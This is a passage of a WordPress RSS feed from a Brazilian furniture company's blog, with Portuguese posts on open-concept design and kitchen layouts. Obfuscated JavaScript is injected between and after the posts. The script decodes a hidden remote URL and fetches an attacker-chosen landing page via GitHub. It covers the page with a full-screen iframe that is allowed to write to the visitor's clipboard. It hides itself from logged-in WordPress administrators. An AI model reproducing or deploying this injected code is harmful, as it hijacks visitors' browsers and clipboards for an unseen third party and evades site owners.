54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/open-concept-tendencia-em-moveis-planejados/">Open concept: conheça essa tendência em móveis planejados</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://marel.com.br/open-concept-tendencia-em-moveis-planejados/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Os diferentes layouts para uma cozinha funcional e sofisticada</title>
		<link>https://marel.com.br/diferentes-layouts-cozinha-funcional/</link>
					<comments>https://marel.com.br/diferentes-layouts-cozinha-funcional/#comments</comments>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Wed, 11 Aug 2021 11:53:00 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=1132</guid>

					<description><![CDATA[<p>Ergonomia, praticidade, estética, layout inteligente e personalização. Conheça os elementos de uma cozinha funcional. </p>
<p>O post <a href="https://marel.com.br/diferentes-layouts-cozinha-funcional/">Os diferentes layouts para uma cozinha funcional e sofisticada</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Ter uma cozinha toda equipada, moderna e sofisticada se tornou o sonho de muitas pessoas. Esse ambiente, que pode ser trabalhado de forma isolada ou integrado com o restante do lar, possibilita uma infinidade de composições. Dessa maneira, é possível criar uma <strong><a href="https://marel.com.br/beneficios-de-uma-cozinha-planejada/" target="_blank" rel="noreferrer noopener" aria-label=" (abre numa nova aba)">cozinha funcional e totalmente personalizada</a></strong> às necessidades e estilos dos moradores.&nbsp;</p>



<p class="wp-block-paragraph">Entretanto, no quesito funcionalidade, é preciso atenção para que o projeto respeite alguns critérios. Por exemplo, possuir um layout compatível com o tamanho do espaço, dispor de forma inteligente as áreas da cozinha, conter iluminação adequada e manter uma estética harmônica.&nbsp;</p>



<p class="wp-block-paragraph">Pode parecer complexo, mas com o domínio de algumas técnicas e olhar refinado e apurado, a cozinha dos sonhos se torna real. Confira, a seguir, as diferentes opções de layout para cozinhas e dicas para criar uma cozinha funcional e sofisticada. Além disso, separamos alguns exemplos de projetos exclusivos Marel, trabalhados com requinte e muita sofisticação para você se inspirar.&nbsp;</p>



<h2 class="wp-block-heading"><strong>O layout perfeito para uma cozinha funcional&nbsp;</strong></h2>



<p class="wp-block-paragraph">O <a href="https://marel.com.br/cinco-areas-cozinha-perfeita/" target="_blank" rel="noreferrer noopener" aria-label="layout de uma cozinha (abre numa nova aba)">layout de uma cozinha</a> é a maneira como ela será distribuída no ambiente. Nesse caso, é preciso entender qual a metragem do cômodo e a rotina dos moradores. Em moradias mais compactas, uma grande tendências atualmente, a otimização do espaço é ainda mais fundamental.&nbsp;</p>



<p class="wp-block-paragraph">Já residências onde a metragem não é um limitador, explorar outras configurações é uma opção, como a instalação de uma ilha gourmet, por exemplo. Tudo é uma questão de analisar o estilo das pessoas e as tarefas que serão executadas naquele local.&nbsp;</p>



<p class="wp-block-paragraph">Por exemplo, uma família com crianças que tem o hábito de fazer refeições em casa, pode preferir uma cozinha mais espaçosa. Nesse caso, há necessidade de projetar áreas de circulação maiores e armários espaçosos para guardar mais utensílios e alimentos.&nbsp;</p>



<p class="wp-block-paragraph">Já um casal sem filhos, ou uma pessoa solteira, mas que está sempre recebendo amigos para um almoço ou jantar preparo em casa, pode abrir mão de um espaço tão amplo, para acomodar uma bancada de cozinha mais luxuosa, ou apostar em um ambiente integrado com a sala, para ninguém ficar isolado das conversas.&nbsp;</p>



<h2 class="wp-block-heading"><strong>Tipos de layout para cozinha:</strong></h2>



<h3 class="wp-block-heading"><strong>Cozinha linear</strong></h3>



<p class="wp-block-paragraph">Ideal para cozinhas compactas. Neste modelo, fogão, pia, geladeira e armários formam um corredor. Quando bem planejadas, se tornam extremamente funcionais. A recomendação é que a pia fique no meio do fogão e da geladeira, e entre eles exista uma bancada de apoio.</p>



<h3 class="wp-block-heading"><strong>Cozinha paralela/corredor</strong></h3>



<p class="wp-block-paragraph">Modelo em que duas bancadas alinhadas são posicionadas uma em frente a outra. Usada em cômodos estreitos, mas longos, com área para um corredor de, no mínimo, 120 cm, que possibilite a passagem de duas pessoas.&nbsp;</p>



<h3 class="wp-block-heading"><strong>Cozinha em L</strong></h3>



<p class="wp-block-paragraph">A cozinha em “L” aproveitar as paredes ortogonais no projeto. Esse layout abre espaço para ser posicionada uma mesa de refeições na cozinha, com um bom espaço de circulação.&nbsp;</p>



<h3 class="wp-block-heading"><strong>Cozinha em U</strong></h3>



<p class="wp-block-paragraph">Neste tipo, a cozinha usa três paredes do ambiente para posicionar bancadas, móveis e eletrodomésticos. Essa configuração é mais indicada para cozinhas médias ou grandes, já que precisa de um espaço de corredor de cerca de 150 cm.&nbsp;</p>



<h3 class="wp-block-heading"><strong>Cozinha em G</strong></h3>



<p class="wp-block-paragraph">Similar à cozinha em U, com uma lateral a mais. Normalmente, esse espaço se transforma em uma bancada de apoio para refeições rápidas ou uma extensão da superfície de trabalho.&nbsp;</p>



<h3 class="wp-block-heading"><strong>Cozinha com Ilha&nbsp;</strong></h3>



<p class="wp-block-paragraph">Inspirada no estilo americano, é uma ótima opção para quem adora o conceito aberto e integrado com outros ambientes. A cozinha com ilha não tem nenhuma conexão com o redor, por isso, exige uma área de circulação maior de, pelo menos, 80 cm de cada lado.&nbsp;</p>



<h2 class="wp-block-heading"><strong>Demais elementos que fazem uma cozinha funcional</strong></h2>



<ul class="wp-block-list"><li>Pisos e revestimentos devem ser selecionados considerando a conservação e manutenção do ambiente. Materiais resistentes à umidade são os mais indicados;</li><li>A cozinha deve ser planejada para que tudo fique “à mão”, ou seja, itens, alimentos e utensílios precisam estar acessíveis de forma simples e confortável;</li><li>Design moderno e alinhado com as últimas tendências fazem toda a diferença na experiência das pessoas com a cozinha. Por exemplo, mobiliário com armários abertos ou uso de ferragens com sistema de amortecimento;&nbsp;</li><li>A iluminação deve ser confortável e ajudar nas atividades, para isso, o projeto luminotécnico deve prever pontos de luz para facilitar a visualização da área;</li><li>Otimização é praticamente uma lei na cozinha funcional, ainda mais quando o projeto tiver limitação de espaço. Aposte em soluções inteligentes, como divisórias de armários e gavetas, lixeiras embutidas, prateleiras móveis, entre outras;&nbsp;</li><li>Cores e padrões devem ser trabalhados de forma harmônica. Paletas de cores mais neutras, como bege, cinza, marrom e branco, fazem sucesso e são apostas certas para não erras. Entretanto, você pode fugir do básico e apostar em um visual mais despojado, com toques de cores ou padrões diferentes;</li><li>Aposte em elementos naturais. Vasos com plantas, ervas aromáticas, temperos para usar no preparo das refeições, ou uma bela flor para deixar a cozinha mais viva.&nbsp;</li></ul>



<h2 class="wp-block-heading"><strong>Cozinhas modernas e funcionais: conheça projetos exclusivos do anuário Marel&nbsp;</strong></h2>



<p class="wp-block-paragraph">Confira alguns exemplos de cozinhas elegantes e funcionais, trabalhadas de forma personalizada pelos nossos parceiros.</p>



<p class="wp-block-paragraph">Quando o espaço permitir, aproveite ao máximo a iluminação natural.&nbsp;</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://marel.com.br/wp-content/uploads/2021/08/218464259_4554555531242160_7074502333774321715_n-1024x1024.jpg" alt="cozinha funcional" class="wp-image-1144"/><figcaption>Sávio Rossetto e Mateus Santos &#8211; Marel Francisco Beltrão</figcaption></figure>



<p class="wp-block-paragraph"></p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://marel.com.br/wp-content/uploads/2021/08/215373804_4537686329595747_4207471849880393349_n-1024x1024.jpg" alt="cozinha planejada Marel" class="wp-image-1146"/><figcaption>Rita Carrasco &#8211; Marel Santos</figcaption></figure>



<p class="wp-block-paragraph">A madeira combina perfeitamente com estilos mais modernos, trazendo aconchego e quebrando a “frieza” do metal dos eletrodomésticos</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://marel.com.br/wp-content/uploads/2021/08/208710286_4504726579558389_1510226010189758249_n-1024x1024.jpg" alt="" class="wp-image-1148"/><figcaption>Paola Lepez Arquitetura &#8211; Marel Santos</figcaption></figure>



<p class="wp-block-paragraph">Spots cumprem com a iluminação pontual, além de um efeito estético, facilitam a visualização, preparo e higiene dos alimentos.&nbsp;</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://marel.com.br/wp-content/uploads/2021/08/165161316_4245231632174553_4681130983946360022_n-1024x1024.jpg" alt="cozinha planejada funcional" class="wp-image-1150"/><figcaption>Ana Amélia Interiores &#8211; Marel Santos</figcaption></figure>



<p class="wp-block-paragraph">Acessórios fazem toda a diferença no layout da cozinha. Neste projeto, os puxadores dourados trazem um toque de sofisticação e elegância.&nbsp;</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://marel.com.br/wp-content/uploads/2021/08/165095886_4226203847410665_782730386996336188_n-2-1024x1024.jpg" alt="cozinha funcional" class="wp-image-1152"/><figcaption>Arquitetas A &amp; C &#8211; Marel São Luís </figcaption></figure>



<p class="wp-block-paragraph"><strong><a href="https://issuu.com/marelsa/docs/anuario-2020-marel">Acesse agora mesmo nosso anuário e confira todos os projetos com as soluções Marel!</a></strong></p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,